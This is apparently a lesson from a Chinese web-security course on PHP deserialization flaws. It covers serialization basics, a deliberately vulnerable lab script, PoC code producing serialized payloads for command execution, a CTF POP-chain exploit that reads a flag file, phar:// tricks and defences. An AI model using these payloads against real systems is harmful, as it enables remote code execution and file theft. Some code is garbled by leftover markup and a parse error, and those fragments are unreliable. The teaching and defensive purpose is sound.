12 反序列化漏洞:数据转换下的欺骗
上一讲介绍了 XXE 漏洞,它在业务场景中很容易用于读取敏感文件、进行代码执行,甚至也会用来渗透内网,也因此 XXE 漏洞常被当作一种严重漏洞来对待。
本讲我将介绍另一种常用来实现远程代码执行的漏洞类型——反序列化漏洞,这几年经常出现在 Java 公共库,比如阿里的 fastjson,还有一些 Java 应用服务器,比如 JBoss。PHP 也有反序列化,比如著名的 Joomla 内容管理系统很多编程语言都有这种反序列化功能,若对反序列化的数据未做有效过滤和限制,就可能导致这种漏洞的产生。
下面我就详细给你介绍下关于反序列化漏洞攻防的方方面面,演示案例我依然会以 PHP 为例,方便大家学习。
序列化与反序列化
为什么会有序列化与反序列化的需求呢?
序列化是把对象转换成有序字节流,通常都是一段可阅读的字符串,以便在网络上传输或者保存在本地文件中。同样,如果我们想直接使用某对象时,就可能通过反序列化前面保存的字符串,快速地重建对象,也不用重写一遍代码,提高工作效率。
以 PHP 语言为例,下面以代码示例介绍下序列化与反序列化,帮助你更直观地理解两者的概念。
1.序列化示例
PHP 中通过 serialize 函数进行序列化操作,先定义个类,然后用它创建个类对象再序列化,代码示例如下:
<?phpclass People{public $id = 1;protected $name = "john";private $age = 18;}
obj=<spanclass="hljs−keyword">new</span>People();<spanclass="hljs−keyword">echo</span>serialize(obj = <span class="hljs-keyword">new</span> People(); <span class="hljs-keyword">echo</span> serialize(obj=<spanclass="hljs−keyword">new</span>People();<spanclass="hljs−keyword">echo</span>serialize(obj);
?>
我在 PHP 7.4.3 版本下执行,它会输出以下这段字符串:
$ php -vPHP 7.4.3 (cli) (built: Oct 6 15:47:56) ( NTS )Copyright (c) The PHP GroupZend Engine v3.4.0, Copyright (c) Zend Technologieswith Zend OPcache v7.4.3, Copyright (c), by Zend Technologies$ php test.php'O:6:"People":3:{s:2:"id";i:1;s:7:" * name";s:4:"john";s:11:" People age";i:18;}'
注意:有些终端在输出时,可能会把其中的 \x00 过滤掉,"Peopleage" 其实是 "\x00People\x00age" 这样的数据,在后面进行反序列化操作时要注意,可拿前面的变量名长度进行对比。
对生成后序列化字符串前半部分做个解释,后面类似:
O:代表对象Object6:对象名称长度People:对象名称3:变量个数s:数据类型2:变量名长度id:变量名i:整数类型1:变量值
序列化后有很多数据类型的表示,你先提前了解一下,以后写反序列化利用时有可能会用到。
a-array 数组型b-boolean 布尔型d-double 浮点型i-integer 整数型o-common object 共同对象r-objec reference 对象引用s-non-escaped binary string 非转义的二进制字符串S-escaped binary string 转义的二进制字符串C-custom object 自定义对象O-class 对象N-null 空R-pointer reference 指针引用U-unicode string Unicode 编码的字符串
相信到这里,你对所谓的序列化操作有了直观的认识感受,它就是将对象转换成可阅读可存储的字符串序列。
2.反序列化示例
反序列化就是对前面的序列化的反向操作,即将字符串序列重建回对象。
现在我们将前面生成的序列化字符串进行反序列化操作,通过 unserialize() 函数来实现:
<?php$str = 'O:6:"People":3:{s:2:"id";i:1;s:7:" * name";s:4:"john";s:11:" People age";i:18;}';$u = unserialize($str);echo $u->id;?>
执行之后,成功获取到 People 的属性 id 值,说明反序列化重建出来的对象是可用的:
$ php test.php1
如果你访问 $name 与 $age 就会出错,因为它们不是公有属性,不可直接访问:
PHP Fatal error: Uncaught Error: Cannot access private property People::$age in /tmp/test.php:14Stack trace:#0 {main}thrown in /tmp/test.php on line 14PHP Fatal error: Uncaught Error: Cannot access protected property People::$name in /tmp/test.php:14Stack trace:#0 {main}thrown in /tmp/test.php on line 14
这里主要介绍的是 PHP 的序列化与反序列化,很多语言也都有这种功能,我在后面的“扩展:其他语言的反序列化”小节中做了补充,你可以继续去探索下其他语言。
漏洞是如何产生的?
反序列化原本只是一个正常的功能,那为什么反序列化就会产生漏洞呢?
当传给 unserialize() 的参数由外部可控时,若攻击者通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数,比如 PHP 中特殊的魔术方法(详见下文),这些方法在某些情况下会被自动调用,为实现任意代码执行提供了条件,这时反序列化漏洞就产生了,PHP 反序列化漏洞有时也被称为“PHP 对象注入”漏洞。
攻击反序列化漏洞
反序列化参数可控后,如果我们只能针对参数的类对象进行利用,那么攻击面就太小了。这时利用魔术方法就可以扩大攻击面,它在该类的序列化或反序列化中就可能自动完成调用,对于漏洞的利用可以直到关键作用。
除此之外,还有后面将介绍到的 POP 链构造等手法都可以进一步扩大攻击面,达到代码执行的效果。
1.利用魔术方法
魔术方法就是 PHP 中一些在某些情况下会被自动调用的方法,无须手工调用,比如当一个对象创建时 __construct 会被调用,当一个对象销毁时 __destruct 会被调用。
下面是 PHP 中一些常用的魔术方法:
__construct() #类的构造函数__destruct() #类的析构函数__call() #在对象中调用一个不可访问方法时调用__callStatic() #用静态方式中调用一个不可访问方法时调用__get() #获得一个类的成员变量时调用__set() #设置一个类的成员变量时调用__isset() #当对不可访问属性调用isset()或empty()时调用__unset() #当对不可访问属性调用unset()时被调用。__sleep() #执行serialize()时,先会调用这个函数__wakeup() #执行unserialize()时,先会调用这个函数__toString() #类被当成字符串时的回应方法__invoke()#调用函数的方式调用一个对象时的回应方法__set_state() #调用var_export()导出类时,此静态方法会被调用。__clone()#当对象复制完成时调用__autoload() #尝试加载未定义的类__debugInfo() #打印所需调试信息
下面通过一段漏洞代码来演示下魔术方法在反序列化漏洞中的利用,vul.php 漏洞代码如下:
<?phpclass People {private $type;
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<span class="hljs-keyword">$this</span>->type = <span class="hljs-keyword">new</span> Student();}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>) </span>{<span class="hljs-keyword">$this</span>->type->run();}
}
class Student {
function run() {
echo “he is a student.”;
}
}
class Evil {
var KaTeX parse error: Expected '}', got 'EOF' at end of input: …"hljs-keyword">this->cmd);
}
}
unserialize($_GET[‘str’]); // 漏洞触发点,引用外部可控参数作为反序列化数据
?>
先分析下代码,$_GET['str'] 获取 get 参数 str 值,然后传递给 unserialize 进行反序列化操作,这就是导致漏洞的地方。
那么我们该如何利用呢?审查整份代码,发现 Evil 类中的命令执行方法 run(),如果能控制其中的 $cmd 变量就可以实现远程命令执行。在 People 类的 __construct 方法中有属性赋值操作,将 Student 对象赋值给 $type 属性。
同时,在 __destruct 方法中有调用 run() 方法的操作,因此我们可以设法此这些操作关联起来,写出利用代码去生成用来实现命令执行的序列化字符串。
poc.php 利用代码如下:
<?phpclass People {private $type;
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<span class="hljs-keyword">$this</span>->type = <span class="hljs-keyword">new</span> Evil();}
}
class Evil {
var $cmd = ‘id’;
}
$people = new People();
str=serialize(str = serialize(str=serialize(people);
echo $str;
?>
运行生成序列化字符串:
$ php poc.phpO:6:"People":1:{s:12:"Peopletype";O:4:"Evil":1:{s:3:"cmd";s:2:"id";}}
里面的 "Peopletype" 又被吃掉 \x00 了,得补回去,然后将上述字符串作为 get 参数 $str 的值发送给 vul.php:
http://127.0.0.1/vul.php?str=O:6:%22People%22:1:{s:12:%22%00People%00type%22;O:4:%22Evil%22:1:{s:3:%22cmd%22;s:2:%22id%22;}}
图 1 成功利用反序列化漏洞执行任意命令
总结下利用思路:
寻找原程序中可利用的目标方法,比如包含 system、eval、exec 等危险函数的地方,正如示例中的 Evil 类;
追踪调用第 1 步中方法的其他类方法/函数,正如示例中 People 类方法 __destruct();
寻找可控制第 1 步方法的参数的其他类方法函数,正如示例中 People 类方法 __construct();
编写 poc,构建恶意类对象,然后调用 serialize 函数去生成序列化字符串;
将生成的序列化字符串传递给漏洞参数实现利用。
2.POP 链构造
面向属性编程(Property-Oriented Programing,POP)利用现有执行环境中原有的代码序列(比如原程序中已定义或者可动态加载的对象属性、方法),将这些调用组合在一起形式特定的调用链,以达到特定目的的方法。这与二进制漏洞利用中的 ROP(Return-Oriented Progaming,面向返回编程)的原理是相似的。
其实前面利用魔术方法构建调用链的方法就算是 POP 链,只是比较简单,在真实的漏洞环境中,会复杂很多。
我从网上找了一道 CTF 题,以帮助你更好地理解构建 POP 链的思路。
题目代码如下,代码中有 3 个类,Output 类有构造方法 construct 和析构方法 destruct,Show 类中有一些设置属性值的方法,Test 类中则含有读取文件的方法,最后使用 GET 参数传入 unserialize() 函数导致反序列化漏洞。
<?phpclass Output{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}}class Show{public $source;public $str;public function __construct($file){$this->source = $file;echo $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){echo "hacker~";$this->source = "index.php";}}}class Test{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])){$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}}show_source(__FILE__);$name=unserialize($_GET['strs']);?>
按照前面介绍的利用思路,一步步来套用上。
1. 寻找原程序中可利用的目标方法,比如包含 system、eval、exec 等危险函数的地方。
在题目中,没有找到上面用于执行代码或命令的函数,但是在 Test::file_get() 调用 file_get_contents 读取文件内容,如果能够利用它实现任意文件读取也是可取的,因此就以 Test 类方法 file_get 为目标方法;
2. 追踪调用第 1 步中方法的其他类方法/函数。
看哪里调用 Test::file_get(),可以看到是 Test::get(),再往上追踪,发现是在 Test::__get() 调用的,这个 __get() 魔术方法的触发条件是:读取不可访问属性值,包括私有或未定义属性。在 Show::__toString() 中就有对未定义属性 $content 的操作,这样就会触发 __get() 方法。再往上追溯,发现 Output::__destruct() 中调用到 echo 函数可触发 __toString() ,这样就得到整个调用链如下:
图 2 调用链
3. 寻找可控制第 1 步方法的参数的其他类方法函数。
这里需要控制的是 file_get_contents($value) 中的参数 $value,依次往上追溯,发现其来自数组中的一个元素值,得到如下传播路径:
图 3 参数传播路径
为了对应 Show::__toString() 中的 $this->str['str']->source ,我们可以通过array('source'=>'可控内容') 来控制 $value,即打算读取的文件路径。进一步优化下传播路径:
图 4 优化后的参数传播路径
4. 编写 poc,构建恶意类对象,然后调用 serialize 函数去生成序列化字符串。
根据图 2 的调用链可以知道,起始的调用类在 Output,因此我们需要反序列化它。
基于前面的分析,PoC 代码如下:
<?phpclass Output{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}}class Show{public $str;public $source;public function __toString(){$content = $this->str['str']->source;return (string)$content;}}class Test{public $file;public $params;// 原方法的定义此处省略,因为它对生成序列化字符串没有影响}$test = new Test();$test->params = array('source'=>'/var/www/html/flag.php');$show = new Show();$show->str = array('str'=>$test);$output = new Output($show);echo serialize($output);?>
执行后得到如下序列化字符串:
O:6:"Output":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/flag.php";}}}s:6:"source";N;}}
5. 将生成的序列化字符串传递给漏洞参数实现利用
漏洞参数是 GET 参数 str,因此可以如此构造请求:
http://127.0.0.1/vul.php?str=O:6:"Output":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/flag.php";}}}s:6:"source";N;}}
整个过程可能有点绕,但 POP 链的利用技术就是如此,需要你对目标程序进行全方位的分析,提取出可利用的调用链进行组装,才有可能实现真正的攻击效果。
3.phar 文件攻击
在 年 BlackHat 黑客大会上,安全研究员 Sam Thomas 分享了议题“It's a PHP unserialization vulnerability Jim, but not as we know it”,介绍了一种关于利用 phar 文件实现反序列化漏洞的利用技巧,利用的是 phar 文件中序列化存储用户自定义的 meta-data,在解析该数据时就必然需要反序列化,配合 phar:// 伪协议即可触发对此的反序列化操作。比如如下代码即可触发对 test.txt 文件内容的反序列化操作:
$filename = 'phar://phar.phar/test.txt';file_get_contents($filename);
在实际利用时,还可以对 phar 文件进行格式上的伪造,比如添加图片的头信息,将其伪装成其他格式的文件,用于绕过一些上传文件格式的限制。
更加具体技术资料,推荐以下两篇:
《利用 phar 拓展 php 反序列化漏洞攻击面》
《It's a PHP unserialization vulnerability Jim, but not as we know it》
如何挖掘反序列化漏洞?
1.代码审计
个人认为,想主动检测一些反序列化漏洞,特别是 0day 漏洞,最好的方法就是代码审计,针对不同的语言的反序化操作函数,比如 php unserialize 函数,还要注意 phar 文件攻击场景,然后往上回溯参数的传递来源,看是否有外部可控数据引用(比如 GET、POST 参数等等),而又未过任何过滤,那么它就有可能存在反序列化漏洞。
2.RASP 检测
在《08 | SQL 注入:漏洞的检测与防御》中已经介绍过 RASP,可以针对不同的语言做一些 Hook,如果发现一些敏感函数(比如 php eval、unserialize)被执行就打印出栈回溯,方便追踪漏洞成功,以及漏洞利用技术技巧,整个 POP 链也可以从中获取到。
所以,通过 RASP 不仅有利于拦截漏洞攻击,还可以定位漏洞代码,以及学习攻击者的利用技术,为后续的漏洞修复和拦截提供更多的参考价值。
3.动态黑盒扫描
通过收集历史漏洞的 payload,再结合网站指纹识别,特别是第三方库的识别,然后再根据不同的第三方库发送对应的 payload,根据返回结果作漏洞是否存在的判断。
这项工作也常于外曝漏洞后的安全应急工作,然后加入日常漏洞扫描流程中,以应对新增业务的检测。
防御反序列化漏洞
黑白名单限制
针对反序列化的类做一份白名单或黑名单的限制,首选白名单,避免一些遗漏问题被绕过。这种方法是当前很多主流框架的修复方案。
黑名单并不能完全保证序列化过程的安全,有时网站开发个新功能,加了一些类之后,就有可能绕过黑名单实现利用,这也是为什么有些反序列化漏洞修复后又在同一个地方出现的原因。
WAF
收集各种语言的反序列化攻击数据,提取特征用于拦截请求。
RASP
RASP 除了可以检测漏洞外,它本身也可以提供类似 WAF 的防御功能。
扩展:其他语言的反序列化
其他编程语言也存在对应的序列化和反序列化功能,其产生和利用的原理与 PHP 类似。
Python
使用模块 pickle 就可以实现对一个 Python 对象结构的二进制序列化和反序列化
# 序列化pickle.dump(obj, file, protocol=None, *, fix_imports=True) # 反序列化pickle.load(file, *, fix_imports=True, encoding='ASCII', errors='strict')
Java
在 Java 中,只要一个类实现了 java.io.Serializable 接口,那么它就可以被序列化,通过 ObjectOutputStream 和 ObjectInputStream 来实现序列化与反序列化操作。
// 序列化ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("d:/string.txt")));oos.writeObject(obj) // 将对象序列化后的字符串写入d:/string.txt// 反序列化ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("d:/string.txt")));ois.readObject(); // 读取d:/string.txt中的序列化字符串,并重建回对象
Ruby
在 Ruby 中可以使用 Marshal 模块实现对象的序列化与反序列化操作。
# 序列化str = Marshal.dump(obj)#反序列化obj = Marshal.load(str)
小结
本节课主要介绍 PHP 下反序列化漏洞,专门举几个代码 demo 进行演示,让你对序列化与反序列化有个实际的直观感受,然后构造漏洞 demo,讲解针对反序列化漏洞的利用思路,旨在帮助你加深 POP 链与魔术方法利用技巧,这在反序列化漏洞利用中是最为常用的。
其他语言也有反序列化漏洞,比如 Java 语言,大家可以在留言区中评论,探讨其他语言的一些反序列化漏洞。